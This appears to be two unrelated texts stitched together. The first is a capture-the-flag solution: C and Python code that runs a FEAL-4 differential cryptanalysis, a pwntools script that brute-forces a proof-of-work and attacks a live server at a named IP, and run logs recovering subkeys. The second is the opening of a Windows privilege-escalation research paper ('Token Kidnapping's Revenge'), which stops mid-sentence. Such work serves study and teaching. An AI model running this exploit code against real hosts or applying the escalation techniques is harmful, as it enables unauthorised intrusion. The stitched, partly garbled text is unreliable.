arr = &plain01_table[numPlain * 2]; arr1 = &cipher01_table[numPlain * 2]; } else if (diff == 0x0200000000008080LL) { arr = &plain01_table[numPlain * 2 * 2]; arr1 = &cipher01_table[numPlain * 2 * 2]; } int c; for (c = 0; c < numPlain; c++) { plain0[c] = arr[c * 2]; plain1[c] = arr[c * 2 + 1]; } for (c = 0; c < numPlain; c++) { cipher0[c] = arr1[c * 2]; cipher1[c] = arr1[c * 2 + 1]; //cipher0[c] = encrypt(plain0[c]); //cipher1[c] = encrypt(plain1[c]); } } void chosenPlaintext_prepare(unsigned long long diff) { printf(" Generating %i chosen-plaintext pairs\n", numPlain); printf(" Using input differential of 0x%016llx\n", diff); srand(SPECIAL_CONST + (diff >> 32) + (diff & 0xffffffff)); int c; for (c = 0; c < numPlain; c++) { plain0[c] = (rand() & 0xFFFFLL) << 48LL; plain0[c] += (rand() & 0xFFFFLL) << 32LL; plain0[c] += (rand() & 0xFFFFLL) << 16LL; plain0[c] += (rand() & 0xFFFFLL); printHexString(plain0[c]); printf(" "); plain1[c] = plain0[c] ^ diff; printHexString(plain1[c]); printf("\n"); //cipher1[c] = encrypt(plain1[c]); } } void chosenPlaintext_(unsigned long long diff) { printf(" Input %i chosen-plaintext pairs\n", numPlain); printf(" Using input differential of 0x%016llx\n", diff); srand(SPECIAL_CONST + (diff >> 32) + (diff & 0xffffffff)); int c; for (c = 0; c < numPlain; c++) { plain0[c] = (rand() & 0xFFFFLL) << 48LL; plain0[c] += (rand() & 0xFFFFLL) << 32LL; plain0[c] += (rand() & 0xFFFFLL) << 16LL; plain0[c] += (rand() & 0xFFFFLL); plain1[c] = plain0[c] ^ diff; } for (c = 0; c < numPlain; c++) { cipher0[c] = readHexString(); cipher1[c] = readHexString(); //cipher0[c] = encrypt(plain0[c]); //cipher1[c] = encrypt(plain1[c]); } } void chosenPlaintext__(unsigned long long diff) { printf(" Generating %i chosen-plaintext pairs\n", numPlain); printf(" Using input differential of 0x%016llx\n", diff); srand(SPECIAL_CONST + (diff >> 32) + (diff & 0xffffffff)); int c; for (c = 0; c < numPlain; c++) { plain0[c] = (rand() & 0xFFFFLL) << 48LL; plain0[c] += (rand() & 0xFFFFLL) << 32LL; plain0[c] += (rand() & 0xFFFFLL) << 16LL; plain0[c] += (rand() & 0xFFFFLL); cipher0[c] = encrypt(plain0[c]); printHexString(cipher0[c]); printf(" "); plain1[c] = plain0[c] ^ diff; cipher1[c] = encrypt(plain1[c]); printHexString(cipher1[c]); printf("\n"); } } void undoLastRound(unsigned long crackedSubkey) { printf("Undoing last round using %08x\n", crackedSubkey); int c; for (c = 0; c < numPlain; c++) { unsigned long cipherLeft0 = leftHalf(cipher0[c]); unsigned long cipherRight0 = rightHalf(cipher0[c]); unsigned long cipherLeft1 = leftHalf(cipher1[c]); unsigned long cipherRight1 = rightHalf(cipher1[c]); cipherRight0 = fBox(cipherRight0 ^ crackedSubkey) ^ cipherLeft0; cipherLeft0 = rightHalf(cipher0[c]); cipherRight1 = fBox(cipherRight1 ^ crackedSubkey) ^ cipherLeft1; cipherLeft1 = rightHalf(cipher1[c]); cipher0[c] = combineHalves(cipherLeft0, cipherRight0); cipher1[c] = combineHalves(cipherLeft1, cipherRight1); } } int main() { for (int i = 0; i < 6; i++) { subkey[i] = 0; } //encrypt(0x1122334455667788); //encrypt(0); //encrypt(0x0000000000008080LL); //encrypt(0x0000808000008080LL); printf("JK'S FEAL-4 DIFFERENTIAL CRYPTANALYSIS DEMO\n"); printf("-------------------------------------------\n"); printf("\n"); srand(time(NULL)); SPECIAL_CONST = (rand() << 4) \| rand(); int graphData[20]; int c; generateSubkeys(time(NULL)); //generateSubkeys(0); /for (int i = 0; i < 6; i++) { printf("%x, ", (unsigned int)subkey[i]); } printf("\n%llx", encrypt(0xe5cd620b2eec5b06));/ numPlain = 8; unsigned long long inputDiff1 = 0x0000000000008080LL; unsigned long long inputDiff2 = 0x0000808000008080LL; unsigned long long inputDiff3 = 0x0200000000008080LL; unsigned long outDiff = 0x02000000L; chosenPlaintext_prepare(inputDiff1); chosenPlaintext_prepare(inputDiff2); chosenPlaintext_prepare(inputDiff3); unsigned long fullStartTime = time(NULL); //CRACKING ROUND 4 printf("ROUND 4\n"); chosenPlaintext(inputDiff1); undoFinalOperation(); unsigned long startTime = time(NULL); unsigned long crackedSubkey3 = crackLastRound(outDiff) ^ 0x8080; unsigned long endTime = time(NULL); printf(" Time to crack round #4 = %i seconds\n", (endTime - startTime)); //CRACKING ROUND 3 printf("ROUND 3\n"); chosenPlaintext(inputDiff2); undoFinalOperation(); undoLastRound(crackedSubkey3); startTime = time(NULL); unsigned long crackedSubkey2 = crackLastRound(outDiff) ^ 0x8080; endTime = time(NULL); printf(" Time to crack round #3 = %i seconds\n", (endTime - startTime)); //CRACKING ROUND 2 printf("ROUND 2\n"); chosenPlaintext(inputDiff3); undoFinalOperation(); undoLastRound(crackedSubkey3); undoLastRound(crackedSubkey2); startTime = time(NULL); unsigned long crackedSubkey1 = crackLastRound(outDiff) ^ 0x80800000; endTime = time(NULL); printf(" Time to crack round #2 = %i seconds\n", (endTime - startTime)); //CRACK ROUND 1 printf("ROUND 1\n"); chosenPlaintext(inputDiff1); undoFinalOperation(); undoLastRound(crackedSubkey3); undoLastRound(crackedSubkey2); undoLastRound(crackedSubkey1); unsigned long crackedSubkey0 = 0; unsigned long crackedSubkey4 = 0; unsigned long crackedSubkey5 = 0; printf(" Cracking..."); startTime = time(NULL); unsigned long guessK0; for (guessK0 = 0; guessK0 < 0xFFFFFFFFL; guessK0++) { unsigned long guessK4 = 0; unsigned long guessK5 = 0; int c; for (c = 0; c < numPlain; c++) { unsigned long plainLeft0 = leftHalf(plain0[c]); unsigned long plainRight0 = rightHalf(plain0[c]); unsigned long cipherLeft0 = leftHalf(cipher0[c]); unsigned long cipherRight0 = rightHalf(cipher0[c]); unsigned long tempy0 = fBox(cipherRight0 ^ 0x80800000 ^ guessK0) ^ cipherLeft0; // r if (guessK4 == 0) { guessK4 = cipherRight0 ^ plainLeft0; guessK5 = tempy0 ^ cipherRight0 ^ plainRight0; } else if (((cipherRight0 ^ plainLeft0) != guessK4) \|\| ((tempy0 ^ cipherRight0 ^ plainRight0) != guessK5)) { guessK4 = 0; guessK5 = 0; break; } } if (guessK4 != 0) { crackedSubkey0 = guessK0; crackedSubkey4 = guessK4; crackedSubkey5 = guessK5; endTime = time(NULL); printf("found subkeys : 0x%08lx 0x%08lx 0x%08lx\n", guessK0, guessK4, guessK5); printf(" Time to crack round #1 = %i seconds\n", (endTime - startTime)); break; } } printf("\n\n"); printf("0x%08lx - ", crackedSubkey0); if (crackedSubkey0 == subkey[0]) printf("Subkey 0 : GOOD!\n"); else printf("Subkey 0 : BAD\n"); printf("0x%08lx - ", crackedSubkey1); if (crackedSubkey1 == subkey[1]) printf("Subkey 1 : GOOD!\n"); else printf("Subkey 1 : BAD\n"); printf("0x%08lx - ", crackedSubkey2); if (crackedSubkey2 == subkey[2]) printf("Subkey 2 : GOOD!\n"); else printf("Subkey 2 : BAD\n"); printf("0x%08lx - ", crackedSubkey3); if (crackedSubkey3 == subkey[3]) printf("Subkey 3 : GOOD!\n"); else printf("Subkey 3 : BAD\n"); printf("0x%08lx - ", crackedSubkey4); if (crackedSubkey4 == subkey[4]) printf("Subkey 4 : GOOD!\n"); else printf("Subkey 4 : BAD\n"); printf("0x%08lx - ", crackedSubkey5); if (crackedSubkey5 == subkey[5]) printf("Subkey 5 : GOOD!\n"); else printf("Subkey 5 : BAD\n"); printf("\n"); unsigned long fullEndTime = time(NULL); printf("Total crack time = %i seconds\n", (fullEndTime - fullStartTime)); printf("FINISHED\n"); while (1) {} return 0; } import os,random,sys,string from hashlib import sha256 import SocketServer import signal import thread import threading #from flag import FLAG SZ = 8 def gbox(a,b,mode): x = (a+b+mode)%256 return ((x<<2)\|(x>>6))&0xff # ror8 def fbox(plain): t0 = (plain[2] ^ plain[3]) y1 = gbox(plain[0] ^ plain[1], t0, 1) y0 = gbox(plain[0], y1, 0) y2 = gbox(t0, y1, 0) y3 = gbox(plain[3], y2, 1) return [y3, y2, y1, y0] def rev_gboxsum(x, mode): return (((x<<6)\|(x>>2))&0xff - mode) % 256 def rev_fbox(enc): y3, y2, y1, y0 = enc plain3 = (rev_gboxsum(y3, 1) - y2) % 256 t0 = (rev_gboxsum(y2, 0) - y1) % 256 plain0_xor_plain1 = (rev_gboxsum(y1,1) - t0) % 256 plain0 = (rev_gboxsum(y0, 0) - y1) % 256 plain1 = plain0_xor_plain1 ^ plain0 plain2 = t0 ^ plain3 return [plain0, plain1, plain2, plain3] def doxor(l1,l2): return map(lambda x: x[0]^x[1], zip(l1,l2)) def encrypt_block(pt, ks): l = doxor(pt[:4], ks[4]) # IP r = doxor(doxor(pt[4:], ks[5]), l) for i in range(4): l, r = doxor(r, fbox(doxor(l,ks[i]))), l l, r = r, doxor(l,r) return l+r def encrypt(pt, k): x = SZ-len(pt)%SZ # padding pt += chr(x)x ct = '' for i in range(0, len(pt), SZ): res = encrypt_block(map(ord, pt[i:i+SZ]), k) ct += ''.join(map(chr,res)) return ct def decrypt_block(ct, ks): l = ct[:4] r = ct[4:] l, r = doxor(r,l), l for i in range(3,-1, -1): l,r = r, doxor(l, fbox(doxor(r, ks[i]))) r = doxor(doxor(r, l), ks[5]) l = doxor(l, ks[4]) return l+r def decrypt(ct,k): pt = '' for i in range(0, len(ct), SZ): res = decrypt_block(map(ord, ct[i:i + SZ]), k) pt += ''.join(map(chr, res)) return pt def doout(x): tmp = ''.join(map(chr, x)) return tmp.encode('hex') def genkeys(): subkeys=[] for x in xrange(6): subkeys.append(map(ord,os.urandom(4))) return subkeys ''' class Task(SocketServer.BaseRequestHandler): def proof_of_work(self): random.seed(os.urandom(8)) proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(20)]) digest = sha256(proof).hexdigest() self.request.send("sha256(XXXX+%s) == %s\n" % (proof[4:],digest)) self.request.send('Give me XXXX:') x = self.request.recv(10) x = x.strip() if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest: return False return True def recvhex(self, sz): try: r = sz res = '' while r>0: res += self.request.recv(r) if res.endswith('\n'): r = 0 else: r = sz - len(res) res = res.strip() res = res.decode('hex') except: res = '' return res def dosend(self, msg): try: self.request.sendall(msg) except: pass def handle(self): #if not self.proof_of_work(): # return #signal.alarm(30) key = genkeys() print key for i in xrange(50): self.dosend("plaintext(hex): ") pt = self.recvhex(21) if pt=='': break ct = encrypt(pt, key) self.dosend("%s\n" % ct.encode('hex')) cflag = encrypt(FLAG, key) self.dosend("and your flag:\n") self.dosend("%s\n" % cflag.encode('hex')) self.request.close() class ForkedServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer): pass if __name__ == "__main__": HOST, PORT = '0.0.0.0', 10001 print HOST print PORT server = ForkedServer((HOST, PORT), Task) server.allow_reuse_address = True server.serve_forever() ''' #a = encrypt_block([0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00],[[0,0,0,0]] 6) #a = encrypt_block(map(ord,'1dc8294c4fc3a3c4'.decode('hex')),[[0,0,0,0]] * 6) #a = encrypt_block(map(ord,'444c72452d284e87'.decode('hex')), [map(ord, c.decode('hex')) for c in ['00261e27', '52f60985', '22972e15', '20ad7e1d', '28d27794', '16dd6dc4']]) #a = encrypt_block(map(ord,'42c805e72f4f11fd'.decode('hex')), [map(ord, c.decode('hex')) for c in ['6c37049d', '4a286482', '4ef233dd', '665c014f', '56956c18', '147d25af']]) #t = decrypt_block(encrypt_block(map(ord, 'ctfflag'), [[0,1,2,3]] 6),[[0,1,2,3]] * 6) t = decrypt('98336f5e5f35724482c99fab8b313e3242c2545589924374ee2c75e1615c7035ce5080b12b67e2fb'.decode('hex'), [map(ord, c.decode('hex')) for c in ['87BB1706', 'c1ee07c9', '372fa9d1', '781a83c7', '835785f3', '53c1b983']]) from pwn import * import itertools io_analysis = process(['/mnt/d/ProgWorkspace/CppProjects/StarCTF/FEALCrypto/feal_analysis']) print io_analysis.recvuntil('Using input differential of ') print io_analysis.recvuntil('\n') time.sleep(0.1) round4_data = io_analysis.recvuntil('Generating',drop=True).strip() round4_data = [c.replace(' ','') for c in round4_data.split()] print io_analysis.recvuntil('Using input differential of ') print io_analysis.recvuntil('\n') round3_data = io_analysis.recvuntil('Generating',drop=True).strip() round3_data = [c.replace(' ','') for c in round3_data.split()] print io_analysis.recvuntil('Using input differential of ') print io_analysis.recvuntil('\n') round2_data = io_analysis.recvuntil('ROUND 4',drop=True).strip() round2_data = [c.replace(' ','') for c in round2_data.split()] ''' #k = [map(ord, c.decode('hex')) for c in ['456723c6', '98694873', 'dc515cff', '944a58ec', '1f297ccd', '58bad7ab']] #k = [[0,0,0,0,0,0]] * 6 k = genkeys() round4_ret = [encrypt(c.decode('hex'), k).encode('hex')[0:16] for c in round4_data] round3_ret = [encrypt(c.decode('hex'), k).encode('hex')[0:16] for c in round3_data] round2_ret = [encrypt(c.decode('hex'), k).encode('hex')[0:16] for c in round2_data] print "round4_ret: %s" % '\n'.join(round4_ret) print "round3_ret: %s" % '\n'.join(round3_ret) print "round2_ret: %s" % '\n'.join(round2_ret) for c in round4_ret: io_analysis.sendline(c) time.sleep(5) for c in round3_ret: io_analysis.sendline(c) time.sleep(5) for c in round2_ret: io_analysis.sendline(c) io_analysis.interactive() exit() ''' io = None while True: try: r = threading.Timer(8.0, thread.interrupt_main) r.start() if io: io.close() io = remote('34.92.185.118',10001) #io = remote('127.0.0.1', 10001) print io.recvuntil("sha256(XXXX+") parproof = io.recvuntil(")", drop=True) print parproof io.recvuntil("== ") proofdigest = io.recvuntil("\n", drop=True) print io.recvuntil("Give me XXXX:") for xxxx in itertools.permutations(string.digits+string.ascii_letters, 4): proof = ''.join(xxxx) + parproof digest = sha256(proof).hexdigest() #if True or digest == proofdigest: if digest == proofdigest: print(xxxx) io.sendline(''.join(xxxx)) r.cancel() break else: continue break except KeyboardInterrupt: print("Retrying...") def handle_analysis_data(rounddata): finalrets = [] for i in range(len(rounddata)): print io.recvuntil('plaintext(hex): ') io.sendline(rounddata[i]) ret = io.recvline(keepends=False).strip() rets = [ret[:16]] for ret in rets: #finalrets.append(''.join(map(chr, doxor(map(ord, ret[:8].decode('hex')), map(ord, ret[8:16].decode('hex'))))).encode('hex') + ret[8:16]) finalrets.append(ret) return finalrets print "round4/3/2_data: \n%s" % '\n'.join(["0x" + c + "," for c in round4_data+round3_data+round2_data]) round4_ret = handle_analysis_data(round4_data) round3_ret = handle_analysis_data(round3_data) round2_ret = handle_analysis_data(round2_data) print "round4/3/2_ret: \n%s" % '\n'.join(["0x" + c + "," for c in round4_ret+round3_ret+round2_ret]) print io.recvuntil('plaintext(hex): ') io.sendline() time.sleep(1) flagenc = io.recv() print "Flag Enc: %s" % flagenc ''' print io_analysis.recvuntil("hosen-plaintext pairs") print io_analysis.recvuntil('Using input differential of ') print io_analysis.recvuntil('\n') time.sleep(0.1) pydev debugger: process 16133 is connecting Connected to pydev debugger (build 182.3911.33) Starting local process '/mnt/d/ProgWorkspace/CppProjects/StarCTF/FEALCrypto/feal_analysis' [$<2>+] Starting local process '/mnt/d/ProgWorkspace/CppProjects/StarCTF/FEALCrypto/feal_analysis': pid 16140 JK'S FEAL-4 DIFFERENTIAL CRYPTANALYSIS DEMO Generating 8 chosen-plaintext pairs Using input diﬀerential of 0x0000000000008080 8 chosen-plaintext pairs Using input diﬀerential of 0x0000808000008080 8 chosen-plaintext pairs Using input diﬀerential of 0x0200000000008080 Opening connection to 34.92.185.118 on port 10001 Opening connection to 34.92.185.118 on port 10001: Trying 34.92.185.118 [ <2>*] Closed connection to 34.92.185.118 port 10001 Opening connection to 34.92.185.118 on port 10001 Opening connection to 34.92.185.118 on port 10001: Trying 34.92.185.118 [$<2>+] Opening connection to 34.92.185.118 on port 10001: Done sha256(XXXX+ JSfGFhasrfnxSNVO Give me XXXX: ('d', 'x', 'z', 'w') round4/3/2_data: 0x3d5206220939ae1f, 0x3d52062209392e9f, 0xdf2a0443338dab42, 0xdf2a0443338d2bc2, 0x68c980299db83129, 0x68c980299db8b1a9, 0xb5a033b18ea363ab, 0xb5a033b18ea3e32b, 0x6b30c4266bebf24e, 0x6b30c4266beb72ce, 0xa4436f5e66a07a38, 0xa4436f5e66a0fab8, 0xa62827df80fa3d4b, 0xa62827df80fabdcb, 0x7c7fab76e6dfb9d1, 0x7c7fab76e6df3951, 0x2304e8e6bf1e4703, 0x23046866bf1ec783, 0x3d4f8a08bbd50cde, 0x3d4f0a88bbd58c5e, 0xa1517dbae25d1520, 0xa151fd3ae25d95a0, 0x26aef452d29f96b1, 0x26ae74d2d29f1631, 0xb271f3842b0e0175, 0xb27173042b0e81f5, 0x2a5d61cfd1c85df6, 0x2a5de14fd1c8dd76, 0x9fd9ba12ae068cd9, 0x9fd93a92ae060c59, 0x25c6169cb5f248cb, 0x25c6961cb5f2c84b, 0x3fcd4a25764f85de, 0x3dcd4a25764f055e, 0x08cc65f7a511a49d, 0x0acc65f7a511241d, 0xe647b6b09a26a382, 0xe447b6b09a262302, 0xeec970446ce9972d, 0xecc970446ce917ad, 0xe334f20fa41f9984, 0xe134f20fa41f1904, 0xcd7fa1c8c3223065, 0xcf7fa1c8c322b0e5, 0x26da81aea39fec71, 0x24da81aea39f6cf1, 0x76bfd9184a7bb68c, 0x74bfd9184a7b360c, plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): round4/3/2_ret: 0xd519c92bee64534d, 0x553951f3b35d498d, 0x13ddfd9985eba18d, 0x923d65c1313cb4cd, for c in round4_ret: io_analysis.sendline(c) print io_analysis.recvuntil("ROUND 3") print io_analysis.recvuntil('Using input differential of ') print io_analysis.recvuntil('\n') time.sleep(0.1) for c in round3_ret: io_analysis.sendline(c) print io_analysis.recvuntil("ROUND 2") print io_analysis.recvuntil('Using input differential of ') print io_analysis.recvuntil('\n') time.sleep(0.1) time.sleep(0.1) for c in round2_ret: io_analysis.sendline(c) io_analysis.interactive() buf = io_analysis.recvuntil("Subkey 0 : GOOD!") print buf[buf.rfind(' - ')-10:][:10] buf = io_analysis.recvuntil("Subkey 1 : GOOD!") print buf[buf.rfind(' - ')-10:][:10] buf = io_analysis.recvuntil("Subkey 2 : GOOD!") print buf[buf.rfind(' - ')-10:][:10] buf = io_analysis.recvuntil("Subkey 3 : GOOD!") print buf[buf.rfind(' - ')-10:][:10] buf = io_analysis.recvuntil("Subkey 4 : GOOD!") print buf[buf.rfind(' - ')-10:][:10] buf = io_analysis.recvuntil("Subkey 5 : GOOD!") print buf[buf.rfind(' - ')-10:][:10] ''' 0xe4819107902c6ecc, 0x64e119efa2c8e722, 0xc530315d5460f8a7, 0x45d0b9a5ec4a32a5, 0x3d473e36e7ﬀ4bde, 0xbd27b65e0e11c0b0, 0x6024579832c9e8ca, 0xdfc5dﬀ0958639c1, 0x7503b7422e11977c, 0xf6232fea4697f0bd, 0x7a0688242c7956fa, 0xfb26008ca3e2e0bc, 0x511e30dfb1053a2a, 0x6449b82e089c26bf, 0x8dccb57184124fb5, 0x3971b67774da9449, 0xa0dd85217c9f44db, 0x2dd4071916e1e5f8, 0x45ed8bde5e940ae8, 0x17213c1d5f975c74, 0x4ed949c4752e0947, 0xcd414bce9ac7bfe8, 0x285e697bab2b4f12, 0x9b0aaa8eﬀ55e828, 0x8076c178f2c0c196, 0x13f2c2660bfc91da, 0x8b320c52c5fc9233, 0x6b724c53eda1de38, 0x11c471b0a805c06a, 0x12fe24316c72e5df, 0x1f59c991fdb92089, 0x836b96943c1b85a3, 0xdee269e9a45ee404, 0xf38f372b0798728b, 0x5a0fc1c3437fe612, 0x1c661a04ecc11263, 0x5b33dc58cb083d61, 0x8dcc6b2e85bﬀ9b4, 0x5e57c31ef8356efe, 0x69b041b9e97e2608, 0x779a54757f684f25, 0xf0150d1387c83446, 0x01e624b1e6999ae1, 0xcea291e6637a304c, plaintext(hex): Flag Enc: and your ﬂag: 98336f5e5f35724482c99fab8b313e3242c2545589924374ee2c75e1615c7035ce5080b12b67e2fb ROUND 4 Generating 8 chosen-plaintext pairs Using input diﬀerential of 0x0000000000008080 Using output diﬀerential of 0x02000000 Cracking...found subkey : 0x781a0347 Time to crack round #4 = 21 seconds ROUND 3 Generating 8 chosen- plaintext pairs Using input diﬀerential of 0x0000808000008080 Undoing last round using 781a83c7 Using output diﬀerential of 0x02000000 Cracking...found subkey : 0x372f2951 Time to crack round #3 = 10 seconds ROUND 2 Generating 8 chosen- plaintext pairs Using input diﬀerential of 0x0200000000008080 Undoing last round using 781a83c7 Undoing last round using 372fa9d1 Using output diﬀerential of 0x02000000 Cracking...found subkey : 0x416e07c9 Time to crack round #2 = 11 seconds ROUND 1 Generating 8 chosen-plaintext pairs Using input diﬀerential of 0x0000000000008080 Undoing last round using 781a83c7 Undoing last round using 372fa9d1 Undoing last round using c1ee07c9 Cracking...found subkeys : 0x073b1706 0x835785f3 0x53c1b983 Time to crack round #1 = 1 seconds 0x073b1706 - Subkey 0 : BAD 0xc1ee07c9 - Subkey 1 : BAD 0x372fa9d1 - Subkey 2 : BAD 0x781a83c7 - Subkey 3 : BAD 0x835785f3 - Subkey 4 : BAD 0x53c1b983 - Subkey 5 : BAD Total crack time = 1558 seconds FINISHED 0x073b1706 - Subkey 0 : BAD ^ 80800000 = 0x87BB1706 0xc1ee07c9 - Subkey 1 : BAD 0x372fa9d1 - Subkey 2 : BAD 0x781a83c7 - Subkey 3 : BAD 0x835785f3 - Subkey 4 : BAD 0x53c1b983 - Subkey 5 : BAD ks = ['87BB1706', 'c1ee07c9', '372fa9d1', '781a83c7', '835785f3', '53c1b983']	pdf
Token Kidnapping's Revenge Author: Cesar Cerrudo (cesar.at.argeniss.dot.com) Argeniss – Information Security & Software Table of contents Table of contents..................................................................................................................................2 Abstract.................................................................................................................................................3 Introduction..........................................................................................................................................4 Some theory..........................................................................................................................................5 The Tools..............................................................................................................................................6 Finding the vulnerabilities....................................................................................................................6 Bypassing Microsoft fix for Token Kidnapping on Windows 2003 and XP.....................................10 Preventing exploitation.......................................................................................................................13 Conclusion..........................................................................................................................................14 Special Thanks....................................................................................................................................15 About the author.................................................................................................................................16 References..........................................................................................................................................17 About Argeniss...................................................................................................................................18 -2- www.argeniss.com Argeniss – Information Security & Software Abstract This document describes some Microsoft Windows elevation of privilege vulnerabilities, how they were found with the use of simple tools and how they can be exploited. Starting with a little security issue that then leads to more significant vulnerabilities finding. All the vulnerabilities detailed here are not publicly know at the time of this document release. -3- www.argeniss.com Argeniss – Information Security & Software Introduction Token Kidnapping [1] is the name of a research I did some time ago, it consisted of security issues and techniques that allowed elevation of privileges on all recent Windows operating systems. On Windows 2003 and XP it allowed to elevate to Local System account from any account that had impersonation rights. On Windows Vista and 2008 it allowed to elevate to Local System account from Network Service and Local Service accounts. The old Token Kidnapping issues were fixed by Microsoft. This new research, presented in this document, demonstrates that those Microsoft fixes were not enough and elevation of privileges is still possible on all Windows versions. Many people wonder how security research is performed, what tools are used, how is the process of vulnerability finding, etc. Based on that I tried to make this document as practical and detailed as possible in order to the reader can learn and easily understand it. -4- www.argeniss.com Argeniss – Information Security & Software Some theory Before starting we need to understand some theory, people with enough knowledge could skip this part. Impersonation Is the ability of a thread to execute using different security information than the process that owns the thread. Threads impersonate in order to run code under another user account, all ACL checks are done against the impersonated users. Impersonation can only be performed by processes with the following privilege: “Impersonate a client after authentication” (SeImpersonatePrivilege). When a thread impersonates it has an associated impersonation token. Token An access token is an object that describes the security context of a process or thread. It includes the identity and privileges of the user account associated with the process or thread. They can be Primary or Impersonation tokens, Primary ones are those that are assigned to processes, Impersonation ones are those that can be get when impersonation occurs. There are four impersonation levels: SecurityAnonymous, SecurityIdentity, SecurityImpersonation, SecurityDelegation. Impersonation takes place mostly during Inter Process Communication (IPC) using Local Procedure Call (LPC), Named Pipes, etc. Impersonation can be limited by clients by setting proper options on the calling APIs. Windows 2003 and XP services security Services run under Local System, Network Service, Local Service and regular user accounts. All services can impersonate. Some Windows services that impersonate privileged accounts are protected, they are created with “special” permissions, for instance a service running under Network Service account can't access a protected service running under the same account. This protection was introduced as a patch to fix the issues detailed in my previous Token Kidnapping research [1]. Before this patch it was possible to elevate privileges by getting privileged impersonation tokens from other processes, the patch restricts processes to access some other processes running under the same account that have privileged impersonation tokens. Windows 7, Vista and 2008 R1 & R2 services security There are lots of security improvements in latest Windows versions, there are new protections such as: • Session 0 isolation: protect against Shatter attacks [5] by running services in a different session (session 0) than regular user processes. • Least privilege: allow to run Windows services with only the minimum required privileges. • Per service SID: each service process has a unique security identification, this allows service processes to be armored. Service running under “X” account can't access other service resources no matter the other service is running under the same “X” account. • Write restricted token: services can have write access to resources only if explicitly granted to the service SID, logon SID, Everyone SID or write-restricted SID. • Restricted network access: services can only accept and make connections on specified ports and protocols. Services can be restricted to have no network access. -5- www.argeniss.com Argeniss – Information Security & Software This is implemented as firewall rules that can't be disabled after service starts. • In Windows 7 and 2008 R2, IIS 7.5 worker processes don't run any more under Network Service account by default as they did on Windows 2008 R1 and Windows 2003. Now they run under a special account named DefaultAppPool. This provides more protection since web applications can't access processes running under Network Service account nor their resources. But DefaultAppPool account has the same privileges as Network Service account, it can impersonate. The Tools Let's describe the tools that will be used: • Process Explorer (ProcExp): this tool displays information about all Windows processes, by selecting a process you can see information such as: Process ID, Windows objects handles opened and their names, user name that the process is running under, processes and objects DACL, etc. • Process Monitor (ProcMon): this tool displays information about registry, file system and network access by Windows processes. • WinDbg: it's a user mode and kernel mode debugger for Windows, part of Debugging tools for Windows. • Registry Editor (Regedit): Windows tool to display and edit Windows registry. Finding the vulnerabilities I was waiting for Windows 7 (Win7) RC to take a quick look at it, mostly for finding low hanging fruit security issues since I didn't have much free time. I wanted to check also if there were some new issues similar to the ones described in my previous Token Kidnapping research [1], basically issues that would allow to elevate privileges and to bypass new protections. After Win7 RC was released I got a copy, installed it and started to take a look at it. I ran ProcExp and looked at processes checking for DACLs issues on services, processes and on process objects such as threads, shared sections, mutexes, etc. Everything looked good so far. After a while I couldn’t find anything interesting by just clicking around in ProcExp. I remembered I had found some little issue on Windows 2008 R1 (Win2k8) and I thought I should check if it was still present on Win7. The issue is that Telephony service (TapiSrv) has a process object handle from some service that runs under Local System account and the handle has DuplicateHandle privileges on it. This means that Telephony service process can duplicate any handle from this other process. Telephony service runs under Network Service account and it could, for instance, duplicate a Local System impersonation token handle from the other service process and use it to elevate privileges. The issue is not important since in order to exploit it you must first exploit some vulnerability on Telephony service. But it's security issue anyways that can be exploited to bypass new Windows services protections. So I tested it on Win7 and it was still present there, that was good news, it meant Win7 wasn't perfect. I continued looking around a little more at Win7 but couldn't find any low hanging fruit, I decided to focus on the only issue I had so far. I didn't know any details about the Telephony service issue, why “sometimes” it had that process handle with those privileges? it was a mystery for me. I say “sometimes” because in some tests the process handle wasn't there. I had to research more the issue. -6- www.argeniss.com Argeniss – Information Security & Software I thought about what I knew about Telephony service: − It provides functionality for programs that controls telephony devices: modems, VoIP, etc. − It doesn't run by default. − Any user can start it by issuing a “net start tapisrv” command. − It runs under Network Service account on Win2k8 R1 & R2, Vista and Win7 and it runs under Local System account in WinXP and Win2k3. − It has had some remote and local vulnerabilities in the past. I needed to know more about inner and outer workings of that service, what files and registry keys it uses, how it communicates with other processes, what applications use its functionality, etc. I always start by trying the easiest tests that don’t require much time and effort. I thought I would start by looking at file and registry interaction. File Monitor and Registry Monitor tools would help, I checked the web for new versions and I found ProcMon which was a better tool for the job, you can monitor registry, files and network access with the same tool. After installing ProcMon I ran it and set a filter to just display Telephony service process activities. This service runs under a Generic Host Process for Win32 Services (svchost.exe process) together with other services. Using ProcExp I identified the svchost.exe process hosting Telephony service and got its process ID (PID), then I used this PID to create a filter in ProcMon to just display all activities related only to that process. The tool was ready I just needed to find a way to interact with Telephony service to force it to access files, registry, network, etc. I started by stopping the service running: “net stop tapisrv” and then started it: “net start tapisrv”, obviously this produced a lot of file and registry access activity. I got dozens of file and registry access items to analyze, but what I would look for? The first step was to try to quickly understand what the service was doing, what registry keys and files it accessed and why. This could be a little difficult if you don't have enough Windows OS knowledge but with some effort you can quickly get practice and experience. I didn't understand everything about TapiSrv actions, luckily ignorance makes you asking some questions and try to answer them in a way that makes some sense. I saw TapiSrv was accessing HKLM\Software\Microsoft\Tracing\tapisrv registry key, I haven't seen that registry key before so it got my attention. I ran Regedit and located the key. The first thing that came to my mind was to check key ACL permissions, there was a surprise there. Network Service, Local Service and Users accounts had the same permissions and they included the “Set Value” permission. Clearly there was an issue there since any user could manipulate values that then are read and used by privileged processes. A little smile was being drown in my face, I started to think the issue was exploitable and I knew how to exploit it but I had to confirm it. I looked at the subkeys under HKLM\Software\Microsoft\Tracing key, they were many, I found that they had the same or similar names as Windows services which made me think that many Windows services used that key. At that time I didn't need to know what those registry keys were used for, it was enough knowing that they were read and possible written by some Windows services. Later when researching another vulnerability not mentioned here I found out that those registry keys are used by a tracing functionality implemented by some services. This 